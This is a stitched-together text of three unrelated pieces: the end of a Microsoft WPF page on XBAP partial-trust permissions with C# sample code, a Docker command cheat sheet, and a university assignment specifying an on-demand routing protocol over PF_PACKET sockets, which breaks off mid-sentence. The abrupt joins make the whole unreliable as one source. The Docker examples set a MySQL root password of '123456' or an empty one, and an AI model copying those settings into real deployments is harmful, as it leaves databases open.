System.IO.IsolatedStorage; // IsolatedStorageFile using System.Security; // CodeAccesPermission using System.Security.Permissions; // FileIOPermission, FileIOPermissionAccess using System.Windows; // MessageBox namespace SDKSample { public class FileHandlingGraceful { public void Save() { if (IsPermissionGranted(new FileIOPermission(FileIOPermissionAccess.Write, @"c:\newfile.txt"))) { // Write to local disk using (FileStream stream = File.Create(@"c:\newfile.txt")) using (StreamWriter writer = new StreamWriter(stream)) { writer.WriteLine("I can write to local disk."); } } else { // Persist application-scope property to // isolated storage IsolatedStorageFile storage = IsolatedStorageFile.GetUserStoreForApplication(); using (IsolatedStorageFileStream stream = new IsolatedStorageFileStream("newfile.txt", FileMode.Create, storage)) using (StreamWriter writer = new StreamWriter(stream)) { writer.WriteLine("I can write to Isolated Storage"); } } } // Detect whether or not this application has the requested permission bool IsPermissionGranted(CodeAccessPermission requestedPermission) { try { // Try and get this permission requestedPermission.Demand(); return true; } catch { return false; } } ... } } In many cases, you should be able to find a partial trust alternative. In a controlled environment, such as an intranet, custom managed frameworks can be installed across the client base into the global assembly cache (GAC). These libraries can execute code that requires full trust, and be referenced from applications that are only allowed partial trust by using AllowPartiallyTrustedCallersAttribute (for more information, see Security (WPF) and WPF Security Strategy - Platform Security). Browser Host Detection Using CAS to check for permissions is a suitable technique when you need to check on a per-permission basis. Although, this technique depends on catching exceptions as a part of normal processing, which is not recommended in general and can have performance issues. Instead, if your XAML browser application (XBAP) only runs within the Internet zone sandbox, you can use the BrowserInteropHelper.IsBrowserHosted property, which returns true for XAML browser applications (XBAPs). Note IsBrowserHosted only distinguishes whether an application is running in a browser, not which set of permissions an application is running with. Managing Permissions By default, XBAPs run with partial trust (default Internet zone permission set). However, depending on the requirements of the application, it is possible to change the set of permissions from the default. For example, if an XBAPs is launched from a local intranet, it can take advantage of an increased permission set, which is shown in the following table. Table 3: LocalIntranet and Internet Permissions Permission Attribute LocalIntranet Internet DNS Access DNS servers Yes No Environment Variables Read Yes No File Dialogs Open Yes Yes File Dialogs Unrestricted Yes No Isolated Storage Assembly isolation by user Yes No Isolated Storage Unknown isolation Yes Yes Isolated Storage Unlimited user quota Yes No Media Safe audio, video, and images Yes Yes Printing Default printing Yes No Printing Safe printing Yes Yes Reflection Emit Yes No Security Managed code execution Yes Yes Security Assert granted permissions Yes No User Interface Unrestricted Yes No User Interface Safe top level windows Yes Yes User Interface Own Clipboard Yes Yes Web Browser Safe frame navigation to HTML Yes Yes Note Cut and Paste is only allowed in partial trust when user initiated. If you need to increase permissions, you need to change the project settings and the ClickOnce application manifest. For more information, see WPF XAML Browser Applications Overview. The following documents may also be helpful. Mage.exe (Manifest Generation and Editing Tool). MageUI.exe (Manifest Generation and Editing Tool, Graphical Client). Securing ClickOnce Applications. If your XBAP requires full trust, you can use the same tools to increase the requested permissions. Although an XBAP will only receive full trust if it is installed on and launched from the local computer, the intranet, or from a URL that is listed in the browser's trusted or allowed sites. If the application is installed from the intranet or a trusted site, the user will receive the standard ClickOnce prompt notifying them of the elevated permissions. The user can choose to continue or cancel the installation. Alternatively, you can use the ClickOnce Trusted Deployment model for full trust deployment from any security zone. For more information, see Trusted Application Deployment Overview and Security (WPF). See Also Concepts Security (WPF) WPF Security Strategy - Platform Security WPF Security Strategy - Security Engineering Theme Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Trademarks © Microsoft 2021
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# Docker Commands, Help & Tips ### Show commands & management commands ``` $ docker ``` ### Docker version info ``` $ docker version ``` ### Show info like number of containers, etc ``` $ docker info ``` # WORKING WITH CONTAINERS ### Create an run a container in foreground ``` $ docker container run -it -p 80:80 nginx ``` ### Create an run a container in background ``` $ docker container run -d -p 80:80 nginx ``` ### Shorthand ``` $ docker container run -d -p 80:80 nginx ``` ### Naming Containers ``` $ docker container run -d -p 80:80 --name nginx-server nginx ``` ### TIP: WHAT RUN DID - Looked for image called nginx in image cache - If not found in cache, it looks to the default image repo on Dockerhub - Pulled it down (latest version), stored in the image cache - Started it in a new container - We specified to take port 80- on the host and forward to port 80 on the container - We could do "$ docker container run --publish 8000:80 --detach nginx" to use port 8000 - We can specify versions like "nginx:1.09" ### List running containers ``` $ docker container ls ``` OR ``` $ docker ps ``` ### List all containers (Even if not running) ``` $ docker container ls -a ``` ### Stop container ``` $ docker container stop [ID] ``` ### Stop all running containers ``` $ docker stop $(docker ps -aq) ``` ### Remove container (Can not remove running containers, must stop first) ``` $ docker container rm [ID] ``` ### To remove a running container use force(-f) ``` $ docker container rm -f [ID] ``` ### Remove multiple containers ``` $ docker container rm [ID] [ID] [ID] ``` ### Remove all containers ``` $ docker rm $(docker ps -aq) ``` ### Get logs (Use name or ID) ``` $ docker container logs [NAME] ``` ### List processes running in container ``` $ docker container top [NAME] ``` #### TIP: ABOUT CONTAINERS Docker containers are often compared to virtual machines but they are actually just processes running on your host os. In Windows/Mac, Docker runs in a mini-VM so to see the processes youll need to connect directly to that. On Linux however you can run "ps aux" and see the processes directly # IMAGE COMMANDS ### List the images we have pulled ``` $ docker image ls ``` ### We can also just pull down images ``` $ docker pull [IMAGE] ``` ### Remove image ``` $ docker image rm [IMAGE] ``` ### Remove all images ``` $ docker rmi $(docker images -a -q) ``` #### TIP: ABOUT IMAGES - Images are app bianaries and dependencies with meta data about the image data and how to run the image - Images are no a complete OS. No kernel, kernel modules (drivers) - Host provides the kernel, big difference between VM ### Some sample container creation NGINX: ``` $ docker container run -d -p 80:80 --name nginx nginx (-p 80:80 is optional as it runs on 80 by default) ``` APACHE: ``` $ docker container run -d -p 8080:80 --name apache httpd ``` MONGODB: ``` $ docker container run -d -p 27017:27017 --name mongo mongo ``` MYSQL: ``` $ docker container run -d -p 3306:3306 --name mysql --env MYSQL_ROOT_PASSWORD=123456 mysql ``` ## CONTAINER INFO ### View info on container ``` $ docker container inspect [NAME] ``` ### Specific property (--format) ``` $ docker container inspect --format '{{ .NetworkSettings.IPAddress }}' [NAME] ``` ### Performance stats (cpu, mem, network, disk, etc) ``` $ docker container stats [NAME] ``` ## ACCESSING CONTAINERS ### Create new nginx container and bash into ``` $ docker container run -it --name [NAME] nginx bash ``` - i = interactive Keep STDIN open if not attached - t = tty - Open prompt **For Git Bash, use "winpty"** ``` $ winpty docker container run -it --name [NAME] nginx bash ``` ### Run/Create Ubuntu container ``` $ docker container run -it --name ubuntu ubuntu ``` **(no bash because ubuntu uses bash by default)** ### You can also make it so when you exit the container does not stay by using the -rm flag ``` $ docker container run --rm -it --name [NAME] ubuntu ``` ### Access an already created container, start with -ai ``` $ docker container start -ai ubuntu ``` ### Use exec to edit config, etc ``` $ docker container exec -it mysql bash ``` ### Alpine is a very small Linux distro good for docker ``` $ docker container run -it alpine sh ``` (use sh because it does not include bash) (alpine uses apk for its package manager - can install bash if you want) # NETWORKING ### "bridge" or "docker0" is the default network ### Get port ``` $ docker container port [NAME] ``` ### List networks ``` $ docker network ls ``` ### Inspect network ``` $ docker network inspect [NETWORK_NAME] ("bridge" is default) ``` ### Create network ``` $ docker network create [NETWORK_NAME] ``` ### Create container on network ``` $ docker container run -d --name [NAME] --network [NETWORK_NAME] nginx ``` ### Connect existing container to network ``` $ docker network connect [NETWORK_NAME] [CONTAINER_NAME] ``` ### Disconnect container from network ``` $ docker network disconnect [NETWORK_NAME] [CONTAINER_NAME] ``` ### Detach network from container ``` $ docker network disconnect ``` # IMAGE TAGGING & PUSHING TO DOCKERHUB # tags are labels that point ot an image ID ``` $ docker image ls ``` Youll see that each image has a tag ### Retag existing image ``` $ docker image tag nginx btraversy/nginx ``` ### Upload to dockerhub ``` $ docker image push bradtraversy/nginx ``` ### If denied, do ``` $ docker login ``` ### Add tag to new image ``` $ docker image tag bradtraversy/nginx bradtraversy/nginx:testing ``` ### DOCKERFILE PARTS - FROM - The os used. Common is alpine, debian, ubuntu - ENV - Environment variables - RUN - Run commands/shell scripts, etc - EXPOSE - Ports to expose - CMD - Final command run when you launch a new container from image - WORKDIR - Sets working directory (also could use 'RUN cd /some/path') - COPY # Copies files from host to container ### Build image from dockerfile (reponame can be whatever) ### From the same directory as Dockerfile ``` $ docker image build -t [REPONAME] . ``` #### TIP: CACHE & ORDER - If you re-run the build, it will be quick because everythging is cached. - If you change one line and re-run, that line and everything after will not be cached - Keep things that change the most toward the bottom of the Dockerfile # EXTENDING DOCKERFILE ### Custom Dockerfile for html paqge with nginx ``` FROM nginx:latest # Extends nginx so everything included in that image is included here WORKDIR /usr/share/nginx/html COPY index.html index.html ``` ### Build image from Dockerfile ``` $ docker image build -t nginx-website ``` ### Running it ``` $ docker container run -p 80:80 --rm nginx-website ``` ### Tag and push to Dockerhub ``` $ docker image tag nginx-website:latest btraversy/nginx-website:latest ``` ``` $ docker image push bradtraversy/nginx-website ``` # VOLUMES ### Volume - Makes special location outside of container UFS. Used for databases ### Bind Mount -Link container path to host path ### Check volumes ``` $ docker volume ls ``` ### Cleanup unused volumes ``` $ docker volume prune ``` ### Pull down mysql image to test ``` $ docker pull mysql ``` ### Inspect and see volume ``` $ docker image inspect mysql ``` ### Run container ``` $ docker container run -d --name mysql -e MYSQL_ALLOW_EMPTY_PASSWORD=True mysql ``` ### Inspect and see volume in container ``` $ docker container inspect mysql ``` #### TIP: Mounts - You will also see the volume under mounts - Container gets its own uniqe location on the host to store that data - Source: xxx is where it lives on the host ### Check volumes ``` $ docker volume ls ``` **There is no way to tell volumes apart for instance with 2 mysql containers, so we used named volumes** ### Named volumes (Add -v command)(the name here is mysql-db which could be anything) ``` $ docker container run -d --name mysql -e MYSQL_ALLOW_EMPTY_PASSWORD=True -v mysql-db:/var/lib/mysql mysql ``` ### Inspect new named volume ``` docker volume inspect mysql-db ``` # BIND MOUNTS - Can not use in Dockerfile, specified at run time (uses -v as well) - ... run -v /Users/brad/stuff:/path/container (mac/linux) - ... run -v //c/Users/brad/stuff:/path/container (windows) **TIP: Instead of typing out local path, for working directory use $(pwd):/path/container - On windows may not work unless you are in your users folder** ### Run and be able to edit index.html file (local dir should have the Dockerfile and the index.html) ``` $ docker container run -p 80:80 -v $(pwd):/usr/share/nginx/html nginx ``` ### Go into the container and check ``` $ docker container exec -it nginx bash $ cd /usr/share/nginx/html $ ls -al ``` ### You could create a file in the container and it will exiost on the host as well ``` $ touch test.txt ``` # DOCKER COMPOSE - Configure relationships between containers - Save our docker container run settings in easy to read file - 2 Parts: YAML File (docker.compose.yml) + CLI tool (docker-compose) ### 1. docker.compose.yml - Describes solutions for - containers - networks - volumes ### 2. docker-compose CLI - used for local dev/test automation with YAML files ### Sample compose file (From Bret Fishers course) ``` version: '2' # same as # docker run -p 80:4000 -v $(pwd):/site bretfisher/jekyll-serve services: jekyll: image: bretfisher/jekyll-serve volumes: - .:/site ports: - '80:4000' ``` ### To run ``` docker-compose up ``` ### You can run in background with ``` docker-compose up -d ``` ### To cleanup ``` docker-compose down ```
SOYJUN
Overview For this assignment you will be developing and implementing : An On-Demand shortest-hop Routing (ODR) protocol for networks of fixed but arbitrary and unknown connectivity, using PF_PACKET sockets. The implementation is based on (a simplified version of) the AODV algorithm. Time client and server applications that send requests and replies to each other across the network using ODR. An API you will implement using Unix domain datagram sockets enables applications to communicate with the ODR mechanism running locally at their nodes. I shall be discussing the assignment in class on Wednesday, October 29, and Monday, November 3. The following should prove useful reference material for the assignment : Sections 15.1, 15.2, 15.4 & 15.6, Chapter 15, on Unix domain datagram sockets. PF_PACKET(7) from the Linux manual pages. You might find these notes made by a past CSE 533 student useful. Also, the following link http://www.pdbuchan.com/rawsock/rawsock.html contains useful code samples that use PF_PACKET sockets (as well as other code samples that use raw IP sockets which you do not need for this assignment, though you will be using these types of sockets for Assignment 4). Charles E. Perkins & Elizabeth M. Royer. “Ad-hoc On-Demand Distance Vector Routing.” Proceedings of the 2nd IEEE Workshop on Mobile Computing Systems and Applications, New Orleans, Louisiana, February 1999, pp. 90 - 100. The VMware environment minix.cs.stonybrook.edu is a Linux box running VMware. A cluster of ten Linux virtual machines, called vm1 through vm10, on which you can gain access as root and run your code have been created on minix. See VMware Environment Hosts for further details. VMware instructions takes you to a page that explains how to use the system. The ten virtual machines have been configured into a small virtual intranet of Ethernet LANs whose topology is (in principle) unknown to you. There is a course account cse533 on node minix, with home directory /users/cse533. In there, you will find a subdirectory Stevens/unpv13e , exactly as you are used to having on the cs system. You should develop your source code and makefiles for handing in accordingly. You will be handing in your source code on the minix node. Note that you do not need to link against the socket library (-lsocket) in Linux. The same is true for -lnsl and -lresolv. For example, take a look at how the LIBS variable is defined for Solaris, in /home/courses/cse533/Stevens/unpv13e_solaris2.10/Make.defines (on compserv1, say) : LIBS = ../libunp.a -lresolv -lsocket -lnsl -lpthread But if you take a look at Make.defines on minix (/users/cse533/Stevens/unpv13e/Make.defines) you will find only: LIBS = ../libunp.a -lpthread The nodes vm1 , . . . . . , vm10 are all multihomed : each has two (or more) interfaces. The interface ‘eth0 ’ should be completely ignored and is not to be used for this assignment (because it shows all ten nodes as if belonging to the same single Ethernet 192.168.1.0/24, rather than to an intranet composed of several Ethernets). Note that vm1 , . . . . . , vm10 are virtual machines, not real ones. One implication of this is that you will not be able to find out what their (virtual) IP addresses are by using nslookup and such. To find out these IP addresses, you need to look at the file /etc/hosts on minix. More to the point, invoking gethostbyname for a given vm will return to you only the (primary) IP address associated with the interface eth0 of that vm (which is the interface you will not be using). It will not return to you any other IP address for the node. Similarly, gethostbyaddr will return the vm node name only if you give it the (primary) IP address associated with the interface eth0 for the node. It will return nothing if you give it any other IP address for the node, even though the address is perfectly valid. Because of this, and because it will ease your task to be able to use gethostbyname and gethostbyaddr in a straightforward way, we shall adopt the (primary) IP addresses associated with interfaces eth0 as the ‘canonical’ IP addresses for the nodes (more on this below). Time client and server A time server runs on each of the ten vm machines. The client code should also be available on each vm so that it can be evoked at any of them. Normally, time clients/servers exchange request/reply messages using the TCP/UDP socket API that, effectively, enables them to receive service (indirectly, via the transport layer) from the local IP mechanism running at their nodes. You are to implement an API using Unix domain sockets to access the local ODR service directly (somewhat similar, in effect, to the way that raw sockets permit an application to access IP directly). Use Unix domain SOCK_DGRAM, rather than SOCK_STREAM, sockets (see Figures 15.5 & 15.6, pp. 418 - 419). API You need to implement a msg_send function that will be called by clients/servers to send requests/replies. The parameters of the function consist of : int giving the socket descriptor for write char* giving the ‘canonical’ IP address for the destination node, in presentation format int giving the destination ‘port’ number char* giving message to be sent int flag if set, force a route rediscovery to the destination node even if a non-‘stale’ route already exists (see below) msg_send will format these parameters into a single char sequence which is written to the Unix domain socket that a client/server process creates. The sequence will be read by the local ODR from a Unix domain socket that the ODR process creates for itself. Recall that the ‘canonical’ IP address for a vm node is the (primary) IP address associated with the eth0 interface for the node. It is what will be returned to you by a call to gethostbyname. Similarly, we need a msg_recv function which will do a (blocking) read on the application domain socket and return with : int giving socket descriptor for read char* giving message received char* giving ‘canonical’ IP address for the source node of message, in presentation format int* giving source ‘port’ number This information is written as a single char sequence by the ODR process to the domain socket that it creates for itself. It is read by msg_recv from the domain socket the client/server process creates, decomposed into the three components above, and returned to the caller of msg_recv. Also see the section below entitled ODR and the API. Client When a client is evoked at a node, it creates a domain datagram socket. The client should bind its socket to a ‘temporary’ (i.e., not ‘well-known’) sun_path name obtained from a call to tmpnam() (cf. line 10, Figure 15.6, p. 419) so that multiple clients may run at the same node. Note that tmpnam() is actually highly deprecated. You should use the mkstemp() function instead - look up the online man pages on minix (‘man mkstemp’) for details. As you run client code again and again during the development stage, the temporary files created by the calls to tmpnam / mkstemp start to proliferate since these files are not automatically removed when the client code terminates. You need to explicitly remove the file created by the client evocation by issuing a call to unlink() or to remove() in your client code just before the client code exits. See the online man pages on minix (‘man unlink’, ‘man remove’) for details. The client then enters an infinite loop repeating the steps below. The client prompts the user to choose one of vm1 , . . . . . , vm10 as a server node. Client msg_sends a 1 or 2 byte message to server and prints out on stdout the message client at node vm i1 sending request to server at vm i2 (In general, throughout this assignment, “trace” messages such as the one above should give the vm names and not IP addresses of the nodes.) Client then blocks in msg_recv awaiting response. This attempt to read from the domain socket should be backed up by a timeout in case no response ever comes. I leave it up to you whether you ‘wrap’ the call to msg_recv in a timeout, or you implement the timeout inside msg_recv itself. When the client receives a response it prints out on stdout the message client at node vm i1 : received from vm i2 <timestamp> If, on the other hand, the client times out, it should print out the message client at node vm i1 : timeout on response from vm i2 The client then retransmits the message out, setting the flag parameter in msg_send to force a route rediscovery, and prints out an appropriate message on stdout. This is done only once, when a timeout for a given message to the server occurs for the first time. Client repeats steps 1. - 3. Server The server creates a domain datagram socket. The server socket is assumed to have a (node-local) ‘well-known’ sun_path name which it binds to. This ‘well-known’ sun_path name is designated by a (network-wide) ‘well-known’ ‘port’ value. The time client uses this ‘port’ value to communicate with the server. The server enters an infinite sequence of calls to msg_recv followed by msg_send, awaiting client requests and responding to them. When it responds to a client request, it prints out on stdout the message server at node vm i1 responding to request from vm i2 ODR The ODR process runs on each of the ten vm machines. It is evoked with a single command line argument which gives a “staleness” time parameter, in seconds. It uses get_hw_addrs (available to you on minix in ~cse533/Asgn3_code) to obtain the index, and associated (unicast) IP and Ethernet addresses for each of the node’s interfaces, except for the eth0 and lo (loopback) interfaces, which should be ignored. In the subdirectory ~cse533/Asgn3_code (/users/cse533/Asgn3_code) on minix I am providing you with two functions, get_hw_addrs and prhwaddrs. These are analogous to the get_ifi_info_plus and prifinfo_plus of Assignment 2. Like get_ifi_info_plus, get_hw_addrs uses ioctl. get_hw_addrs gets the (primary) IP address, alias IP addresses (if any), HW address, and interface name and index value for each of the node's interfaces (including the loopback interface lo). prhwaddrs prints that information out. You should modify and use these functions as needed. Note that if an interface has no HW address associated with it (this is, typically, the case for the loopback interface lo for example), then ioctl returns get_hw_addrs a HW address which is the equivalent of 00:00:00:00:00:00 . get_hw_addrs stores this in the appropriate field of its data structures as it would with any HW address returned by ioctl, but when prhwaddrs comes across such an address, it prints a blank line instead of its usual ‘HWaddr = xx:xx:xx:xx:xx:xx’. The ODR process creates one or more PF_PACKET sockets. You will need to try out PF_PACKET sockets for yourselves and familiarize yourselves with how they behave. If, when you read from the socket and provide a sockaddr_ll structure, the kernel returns to you the index of the interface on which the incoming frame was received, then one socket will be enough. Otherwise, somewhat in the manner of Assignment 2, you shall have to create a PF_PACKET socket for every interface of interest (which are all the interfaces of the node, excluding interfaces lo and eth0 ), and bind a socket to each interface. Furthermore, if the kernel also returns to you the source Ethernet address of the frame in the sockaddr_ll structure, then you can make do with SOCK_DGRAM type PF_PACKET sockets; otherwise you shall have to use SOCK_RAW type sockets (although I would prefer you to use SOCK_RAW type sockets anyway, even if it turns out you can make do with SOCK_DGRAM type). The socket(s) should have a protocol value (no larger than 0xffff so that it fits in two bytes; this value is given as a network-byte-order parameter in the call(s) to function socket) that identifies your ODR protocol. The <linux/if_ether.h> include file (i.e., the file /usr/include/linux/if_ether.h) contains protocol values defined for the standard protocols typically found on an Ethernet LAN, as well as other values such as ETH_P_ALL. You should set protocol to a value of your choice which is not a <linux/if_ether.h> value, but which is, hopefully, unique to yourself. Remember that you will all be running your code using the same root account on the vm1 , . . . . . , vm10 nodes. So if two of you happen to choose the same protocol value and happen to be running on the same vm node at the same time, your applications will receive each other’s frames. For that reason, try to choose a protocol value for the socket(s) that is likely to be unique to yourself (something based on your Stony Brook student ID number, for example). This value effectively becomes the protocol value for your implementation of ODR, as opposed to some other cse 533 student's implementation. Because your value of protocol is to be carried in the frame type field of the Ethernet frame header, the value chosen should be not less than 1536 (0x600) so that it is not misinterpreted as the length of an Ethernet 802.3 frame. Note from the man pages for packet(7) that frames are passed to and from the socket without any processing in the frame content by the device driver on the other side of the socket, except for calculating and tagging on the 4-byte CRC trailer for outgoing frames, and stripping that trailer before delivering incoming frames to the socket. Nevertheless, if you write a frame that is less than 60 bytes, the necessary padding is automatically added by the device driver so that the frame that is actually transmitted out is the minimum Ethernet size of 64 bytes. When reading from the socket, however, any such padding that was introduced into a short frame at the sending node to bring it up to the minimum frame size is not stripped off - it is included in what you receive from the socket (thus, the minimum number of bytes you receive should never be less than 60). Also, you will have to build the frame header for outgoing frames yourselves (assuming you use SOCK_RAW type sockets). Bear in mind that the field values in that header have to be in network order. The ODR process also creates a domain datagram socket for communication with application processes at the node, and binds the socket to a ‘well known’ sun_path name for the ODR service. Because it is dealing with fixed topologies, ODR is, by and large, considerably simpler than AODV. In particular, discovered routes are relatively stable and there is no need for all the paraphernalia that goes with the possibility of routes changing (such as maintenance of active nodes in the routing tables and timeout mechanisms; timeouts on reverse links; lifetime field in the RREP messages; etc.) Nor will we be implementing source_sequence_#s (in the RREQ messages), and dest_sequence_# (in RREQ and RREP messages). In reality, we should (though we will not, for the sake of simplicity, be doing so) implement some sort of sequence number mechanism, or some alternative mechanism such as split-horizon for example, if we are to avoid possible scenarios of routing loops in a “count to infinity” context (I shall explain this point in class). However, we want ODR to discover shortest-hop paths, and we want it to do so in a reasonably efficient manner. This necessitates having one or two aspects of its operations work in a different, possibly slightly more complicated, way than AODV does. ODR has several basic responsibilities : Build and maintain a routing table. For each destination in the table, the routing table structure should include, at a minimum, the next-hop node (in the form of the Ethernet address for that node) and outgoing interface index, the number of hops to the destination, and a timestamp of when the the routing table entry was made or last “reconfirmed” / updated. Note that a destination node in the table is to be identified only by its ‘canonical’ IP address, and not by any other IP addresses the node has. Generate a RREQ in response to a time client calling msg_send for a destination for which ODR has no route (or for which a route exists, but msg_send has the flag parameter set or the route has gone ‘stale’ – see below), and ‘flood’ the RREQ out on all the node’s interfaces (except for the interface it came in on and, of course, the interfaces eth0 and lo). Flooding is done using an Ethernet broadcast destination address (0xff:ff:ff:ff:ff:ff) in the outgoing frame header. Note that a copy of the broadcast packet is supposed to / might be looped back to the node that sends it (see p. 535 in the Stevens textbook). ODR will have to take care not to treat these copies as new incoming RREQs. Also note that ODR at the client node increments the broadcast_id every time it issues a new RREQ for any destination node. When a RREQ is received, ODR has to generate a RREP if it is at the destination node, or if it is at an intermediate node that happens to have a route (which is not ‘stale’ – see below) to the destination. Otherwise, it must propagate the RREQ by flooding it out on all the node’s interfaces (except the interface the RREQ arrived on). Note that as it processes received RREQs, ODR should enter the ‘reverse’ route back to the source node into its routing table, or update an existing entry back to the source node if the RREQ received shows a shorter-hop route, or a route with the same number of hops but going through a different neighbour. The timestamp associated with the table entry should be updated whenever an existing route is either “reconfirmed” or updated. Obviously, if the node is going to generate a RREP, updating an existing entry back to the source node with a more efficient route, or a same-hops route using a different neighbour, should be done before the RREP is generated. Unlike AODV, when an intermediate node receives a RREQ for which it generates a RREP, it should nevertheless continue to flood the RREQ it received if the RREQ pertains to a source node whose existence it has heretofore been unaware of, or the RREQ gives it a more efficient route than it knew of back to the source node (the reason for continuing to flood the RREQ is so that other nodes in the intranet also become aware of the existence of the source node or of the potentially more optimal reverse route to it, and update their tables accordingly). However, since an RREP for this RREQ is being sent by our node, we do not want other nodes who receive the RREQ propagated by our node, and who might be in a position to do so, to also send RREPs. So we need to introduce a field in the RREQ message, not present in the AODV specifications, which acts like a “RREP already sent” field. Our node sets this field before further propagating the RREQ and nodes receiving an RREQ with this field set do not send RREPs in response, even if they are in a position to do so. ODR may, of course, receive multiple, distinct instances of the same RREQ (the combination of source_addr and broadcast_id uniquely identifies the RREQ). Such RREQs should not be flooded out unless they have a lower hop count than instances of that RREQ that had previously been received. By the same token, if ODR is in a position to send out a RREP, and has already done so for this, now repeating, RREQ , it should not send out another RREP unless the RREQ shows a more efficient, previously unknown, reverse route back to the source node. In other words, ODR should not generate essentially duplicative RREPs, nor generate RREPs to instances of RREQs that reflect reverse routes to the source that are not more efficient than what we already have. Relay RREPs received back to the source node (this is done using the ‘reverse’ route entered into the routing table when the corresponding RREQ was processed). At the same time, a ‘forward’ path to the destination is entered into the routing table. ODR could receive multiple, distinct RREPs for the same RREQ. The ‘forward’ route entered in the routing table should be updated to reflect the shortest-hop route to the destination, and RREPs reflecting suboptimal routes should not be relayed back to the source. In general, maintaining a route and its associated timestamp in the table in response to RREPs received is done in the same manner described above for RREQs. Forward time client/server messages along the next hop. (The following is important – you will lose points if you do not implement it.) Note that such application payload messages (especially if they are the initial request from the client to the server, rather than the server response back to the client) can be like “free” RREPs, enabling nodes along the path from source (client) to destination (server) node to build a reverse path back to the client node whose existence they were heretofore unaware of (or, possibly, to update an existing route with a more optimal one). Before it forwards an application payload message along the next hop, ODR at an intermediate node (and also at the final destination node) should use the message to update its routing table in this way. Thus, calls to msg_send by time servers should never cause ODR at the server node to initiate RREQs, since the receipt of a time client request implies that a route back to the client node should now exist in the routing table. The only exception to this is if the server node has a staleness parameter of zero (see below). A routing table entry has associated with it a timestamp that gives the time the entry was made into the table. When a client at a node calls msg_send, and if an entry for the destination node already exists in the routing table, ODR first checks that the routing information is not ‘stale’. A stale routing table entry is one that is older than the value defined by the staleness parameter given as a command line argument to the ODR process when it is executed. ODR deletes stale entries (as well as non-stale entries when the flag parameter in msg_send is set) and initiates a route rediscovery by issuing a RREQ for the destination node. This will force periodic updating of the routing tables to take care of failed nodes along the current path, Ethernet addresses that might have changed, and so on. Similarly, as RREQs propagate through the intranet, existing stale table entries at intermediate nodes are deleted and new route discoveries propagated. As noted above when discussing the processing of RREQs and RREPs, the associated timestamp for an existing table entry is updated in response to having the route either “reconfirmed” or updated (this applies to both reverse routes, by virtue of RREQs received, and to forward routes, by virtue of RREPs). Finally, note that a staleness parameter of 0 essentially indicates that the discovered route will be used only once, when first discovered, and then discarded. Effectively, an ODR with staleness parameter 0 maintains no real routing table at all ; instead, it forces route discoveries at every step of its operation. As a practical matter, ODR should be run with staleness parameter values that are considerably larger than the longest RTT on the intranet, otherwise performance will degrade considerably (and collapse entirely as the parameter values approach 0). Nevertheless, for robustness, we need to implement a mechanism by which an intermediate node that receives a RREP or application payload message for forwarding and finds that its relevant routing table entry has since gone stale, can intiate a RREQ to rediscover the route it needs. RREQ, RREP, and time client/server request/response messages will all have to be carried as encapsulated ODR protocol messages that form the data payload of Ethernet frames. So we need to design the structure of ODR protocol messages. The format should contain a type field (0 for RREQ, 1 for RREP, 2 for application payload ). The remaining fields in an ODR message will depend on what type it is. The fields needed for (our simplified versions of AODV’s) RREQ and RREP should be fairly clear to you, but keep in mind that you need to introduce two extra fields: The “RREP already sent” bit or field in RREQ messages, as mentioned above. A “forced discovery” bit or field in both RREQ and RREP messages: When a client application forces route rediscovery, this bit should be set in the RREQ issued by the client node ODR. Intermediate nodes that are not the destination node but which do have a route to the destination node should not respond with RREPs to an RREQ which has the forced discovery field set. Instead, they should continue to flood the RREQ so that it eventually reaches the destination node which will then respond with an RREP. The intermediate nodes relaying such an RREQ must update their ‘reverse’ route back to the source node accordingly, even if the new route is less efficient (i.e., has more hops) than the one they currently have in their routing table. The destination node responds to the RREQ with an RREP in which this field is also set. Intermediate nodes that receive such a forced discovery RREP must update their ‘forward’ route to the destination node accordingly, even if the new route is less efficient (i.e., has more hops) than the one they currently have in their routing table. This behaviour will cause a forced discovery RREQ to be responded to only by the destination node itself and not any other node, and will cause intermediate nodes to update their routing tables to both source and destination nodes in accordance with the latest routing information received, to cover the possibility that older routes are no longer valid because nodes and/or links along their paths have gone down. A type 2, application payload, message needs to contain the following type of information : type = 2 ‘canonical’ IP address of source node ‘port’ number of source application process (This, of course, is not a real port number in the TCP/UDP sense, but simply a value that ODR at the source node uses to designate the sun_path name for the source application’s domain socket.) ‘canonical’ IP address of destination node ‘port’ number of destination application process (This is passed to ODR by the application process at the source node when it calls msg_send. Its designates the sun_path name for an application’s domain socket at the destination node.) hop count (This starts at 0 and is incremented by 1 at each hop so that ODR can make use of the message to update its routing table, as discussed above.) number of bytes in application message The fields above essentially constitute a ‘header’ for the ODR message. Note that fields which you choose to have carry numeric values (rather than ascii characters, for example) must be in network byte order. ODR-defined numeric-valued fields in type 0, RREQ, and type 1, RREP, messages must, of course, also be in network byte order. Also note that only the ‘canonical’ IP addresses are used for the source and destination nodes in the ODR header. The same has to be true in the headers for type 0, RREQ, and type 1, RREP, messages. The general rule is that ODR messages only carry ‘canonical’ IP node addresses. The last field in the type 2 ODR message is essentially the data payload of the message. application message given in the call to msg_send An ODR protocol message is encapsulated as the data payload of an Ethernet frame whose header it fills in as follows : source address = Ethernet address of outgoing interface of the current node where ODR is processing the message. destination address = Ethernet broadcast address for type 0 messages; Ethernet address of next hop node for type 1 & 2 messages. protocol field = protocol value for the ODR PF_PACKET socket(s). Last but not least, whenever ODR writes an Ethernet frame out through its socket, it prints out on stdout the message ODR at node vm i1 : sending frame hdr src vm i1 dest addr ODR msg type n src vm i2 dest vm i3 where addr is in presentation format (i.e., hexadecimal xx:xx:xx:xx:xx:xx) and gives the destination Ethernet address in the outgoing frame header. Other nodes in the message should be identified by their vm name. A message should be printed out for each packet sent out on a distinct interface. ODR and the API When the ODR process first starts, it must construct a table in which it enters all well-known ‘port’ numbers and their corresponding sun_path names. These will constitute permanent entries in the table. Thereafter, whenever it reads a message off its domain socket, it must obtain the sun_path name for the peer process socket and check whether that name is entered in the table. If not, it must select an ‘ephemeral’ ‘port’ value by which to designate the peer sun_path name and enter the pair < port value , sun_path name > into the table. Such entries cannot be permanent otherwise the table will grow unboundedly in time, with entries surviving for ever, beyond the peer processes’ demise. We must associate a time_to_live field with a non-permanent table entry, and purge the entry if nothing is heard from the peer for that amount of time. Every time a peer process for which a non-permanent table entry exists communicates with ODR, its time_to_live value should be reinitialized. Note that when ODR writes to a peer, it is possible for the write to fail because the peer does not exist : it could be a ‘well-known’ service that is not running, or we could be in the interval between a process with a non-permanent table entry terminating and the expiration of its time_to_live value. Notes A proper implementation of ODR would probably require that RREQ and RREP messages be backed up by some kind of timeout and retransmission mechanism since the network transmission environment is not reliable. This would considerably complicate the implementation (because at any given moment, a node could have multiple RREQs that it has flooded 